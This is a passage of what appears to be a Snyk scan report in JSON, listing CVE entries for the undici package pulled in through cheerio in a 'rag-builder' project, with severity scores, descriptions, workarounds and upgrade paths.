"GHSA-v9p9-hfj2-hcw8"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-03-13T09:28:28.965114Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-12T22:39:04Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-13T09:28:29.168834Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T16:59:51.932784Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-UNDICI-17372658",
"title": "CRLF Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
"credit": [
"ByunSuyoung"
],
"semver": {
"vulnerable": [
"<6.27.0",
">=7.0.0 <7.28.0",
">=8.0.0 <8.5.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.27.0",
"7.28.0",
"8.5.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-p88m-4jfj-68fv",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/25efa447",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/5655ea43",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/d0574cc4",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v6.27.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v7.28.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v8.5.0",
"title": "GitHub Release"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-06-18T05:38:21.446807Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-06-26T11:01:41.819705Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:21:32.080422Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.7,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:21:32.080422Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-06-18T05:38:21.446807Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.819705Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to CRLF Injection in the `parseSetCookie`. An attacker can inject arbitrary HTTP headers by supplying specially crafted percent-encoded values in the Set-Cookie header, which are improperly decoded and then forwarded into response headers. This can enable actions such as session fixation, open redirect, or cache poisoning. \r\n\r\n**Note:** This is only exploitable if the application parses Set-Cookie headers using the affected function and then forwards the parsed value into a response header without proper sanitization.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing the values returned by the affected cookie parsing functions to strip or reject CR, LF, NUL, ;, and = bytes before forwarding them into response headers.\n## Remediation\nUpgrade `undici` to version 6.27.0, 7.28.0, 8.5.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-p88m-4jfj-68fv)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/25efa447)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/5655ea43)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/d0574cc4)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v6.27.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v7.28.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v8.5.0)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.23619",
"probability": "0.00332",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-9679"
],
"CWE": [
"CWE-93"
],
"GHSA": [
"GHSA-p88m-4jfj-68fv"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-06-18T10:54:52.700289Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-17T18:21:27Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-18T10:54:52.865199Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:21:32.080422Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "critical"
},
{
"id": "SNYK-JS-UNDICI-17372754",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Nadav"
],
"semver": {
"vulnerable": [
"<6.26.0",
">=7.0.0 <7.28.0",
">=8.0.0 <8.5.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.26.0",
"7.28.0",
"8.5.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-vxpw-j846-p89q",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/32dbf0b3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/8cb10f98",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/b7f252e7",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v6.27.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v7.28.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v8.5.0",
"title": "GitHub Release"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-18T05:38:58.234006Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-06-26T11:01:39.776096Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-07-14T14:04:10.710783Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-14T14:04:10.710783Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-18T05:38:58.234006Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:39.776096Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the handling of WebSocket message fragments. An attacker can cause unbounded memory growth and exhaust system resources by streaming a large number of small or empty continuation frames from a malicious WebSocket server.\n## Remediation\nUpgrade `undici` to version 6.26.0, 7.28.0, 8.5.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-vxpw-j846-p89q)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/32dbf0b3)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/8cb10f98)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/b7f252e7)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v6.27.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v7.28.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v8.5.0)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.51977",
"probability": "0.00789",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-12151"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-vxpw-j846-p89q"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-06-18T11:07:08.566966Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-17T18:22:10Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-18T11:07:08.757250Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-07-14T14:04:10.710783Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-UNDICI-17372758",
"title": "Permissive List of Allowed Inputs",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<6.27.0",
">=7.0.0 <7.28.0",
">=8.0.0 <8.5.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.27.0",
"7.28.0",
"8.5.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.3,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-g8m3-5g58-fq7m",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/25efa447",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/5655ea43",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/commit/d0574cc4",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v6.27.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v7.28.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/nodejs/undici/releases/tag/v8.5.0",
"title": "GitHub Release"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"cvssV3BaseScore": 3.7,
"modificationTime": "2026-06-18T05:38:48.336687Z"
},
{
"assigner": "SUSE",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"cvssV3BaseScore": 3.7,
"modificationTime": "2026-06-26T11:01:38.321254Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.3,
"cvssVersion": "4.0",
"modificationTime": "2026-08-12T15:25:44.921338Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-12T15:25:44.921338Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"assigner": "Red Hat",
"severity": "low",
"baseScore": 3.7,
"cvssVersion": "3.1",
"modificationTime": "2026-06-18T05:38:48.336687Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"assigner": "SUSE",
"severity": "low",
"baseScore": 3.7,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:38.321254Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Permissive List of Allowed Inputs via permissive substring matching in the `Set-Cookie` attribute parsing. An attacker can weaken cookie SameSite enforcement by crafting a response with a non-standard SameSite value that is interpreted as a more permissive setting, potentially allowing cookies to be sent in cross-site requests. \r\n\r\n**Note:** This is only exploitable if the application consumes Set-Cookie headers from server responses (for example via undici's fetch or proxy code paths) and then forwards or relies on the parsed sameSite attribute.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by validating that the parsed sameSite attribute is exactly 'Strict', 'Lax', or 'None' (case-insensitive) before relying on or forwarding it.\n## Remediation\nUpgrade `undici` to version 6.27.0, 7.28.0, 8.5.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-g8m3-5g58-fq7m)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/25efa447)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/5655ea43)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/d0574cc4)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v6.27.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v7.28.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v8.5.0)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.14969",
"probability": "0.00238",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-11525"
],
"CWE": [
"CWE-183"
],
"GHSA": [
"GHSA-g8m3-5g58-fq7m"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-06-18T11:16:13.940701Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-17T18:22:58Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-18T11:16:14.136307Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-12T15:25:44.921338Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-UNDICI-19635210",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"manus-use"
],
"semver": {
"vulnerable": [
">=6.7.0 <6.28.1",
">=7.0.0 <7.29.1",
">=8.0.0 <8.10.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.28.1",
"7.29.1",
"8.10.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-rfgv-xxqx-mfg5",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/6615e0175e9b635bcd2e3e87a47daa82f6f5b728",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-05T06:00:38.525346Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-06T08:34:03.582694Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-06T08:34:03.582694Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-05T06:00:38.525346Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception in its WebSocket client, in the form of a `TypeError` inside a `queueMicrotask` callback when a server's 101 response carries a `Sec-WebSocket-Protocol` header the client never requested. An attacker can crash the process by returning a 101 handshake response that names a subprotocol the client did not offer. This requires the application to open a WebSocket without requesting a subprotocol to an attacker-controlled or compromised server, or over plaintext `ws://` where a MitM can alter the handshake.\n## Remediation\nUpgrade `undici` to version 6.28.1, 7.29.1, 8.10.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-rfgv-xxqx-mfg5)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/6615e0175e9b635bcd2e3e87a47daa82f6f5b728)\n",
"epssDetails": {
"percentile": "0.32575",
"probability": "0.00394",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-19534"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-rfgv-xxqx-mfg5"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-09-06T08:30:56.044805Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-04T18:33:52Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-06T08:30:56.331884Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-06T08:34:03.582694Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-UNDICI-21181005",
"title": "Improper Certificate Validation",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"credit": [
"Eurico Nicacio",
"Sanjeev Kumar",
"BlueN0r"
],
"semver": {
"vulnerable": [
">=4.0.0 <6.29.1",
">=7.0.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.29.1",
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.1,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-2m5v-pch6-74hx",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/f75eac00ac177f7b2e6c8bfbd52d4113164286e6",
"title": "GitHub Commit"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 9.1,
"modificationTime": "2026-10-20T01:34:20.281545Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-10-16T06:34:24.655703Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:35:47.923864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:35:47.923864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:34:20.281545Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:24.655703Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Improper Certificate Validation via the `Agent` constructor in `lib/dispatcher/agent.js`, where TLS options passed as the `tls` parameter are silently dropped and never stored in `kOptions`. Because the `tls` field is not destructured and forwarded to the internal options object, any TLS configuration supplied by the caller - including custom CA certificates, certificate pinning, or hostname verification overrides - is ignored when connections are established. An attacker positioned on the network can exploit the resulting absence of TLS constraints to perform a MitM attack, intercepting or modifying HTTPS traffic that the caller believed was protected by the supplied TLS settings.\n\n## Workaround\n\nUsers who are not able to upgrade to the fixed version are advised to pass the TLS options through connect instead of tls. For proxied `EnvHttpProxyAgent` destinations, use `requestTls / proxyTls`.\n## Remediation\nUpgrade `undici` to version 6.29.1, 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-2m5v-pch6-74hx)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/f75eac00ac177f7b2e6c8bfbd52d4113164286e6)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.07019",
"probability": "0.00180",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-109383"
],
"CWE": [
"CWE-295"
],
"GHSA": [
"GHSA-2m5v-pch6-74hx"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:12:43.591600Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T21:59:00.559000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:12:43.778208Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:35:47.923864Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "undici",
"version": "7.16.0",
"severityWithCritical": "critical"
},
{
"id": "SNYK-JS-UNDICI-21181013",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"benzdeus"
],
"semver": {
"vulnerable": [
">=4.2.1 <6.29.1",
">=7.0.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.29.1",
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-qrxm-fqhp-jwvm",
"title": "GitHub Advisory"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-16T06:34:40.410348Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-18T11:15:38.468693Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-18T11:15:38.468693Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:40.410348Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception via unhandled `ERR_TLS_CERT_ALTNAME_INVALID` errors in `onHttpSocketError`, `onHttp2SessionError`, and `onHttp2SocketError`. When a TLS connection is established and the server's certificate fails Subject Alternative Name validation post-connect, the error propagates and triggers a failed `assert` call, crashing the process. An attacker who can cause the client to connect to a server presenting an invalid TLS certificate can exploit this to crash the Node.js process.\n## Remediation\nUpgrade `undici` to version 6.29.1, 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-qrxm-fqhp-jwvm)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.07405",
"probability": "0.00184",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-87018"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-qrxm-fqhp-jwvm"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:15:38.122926Z",
"functions_new": [],
"alternativeIds": [],
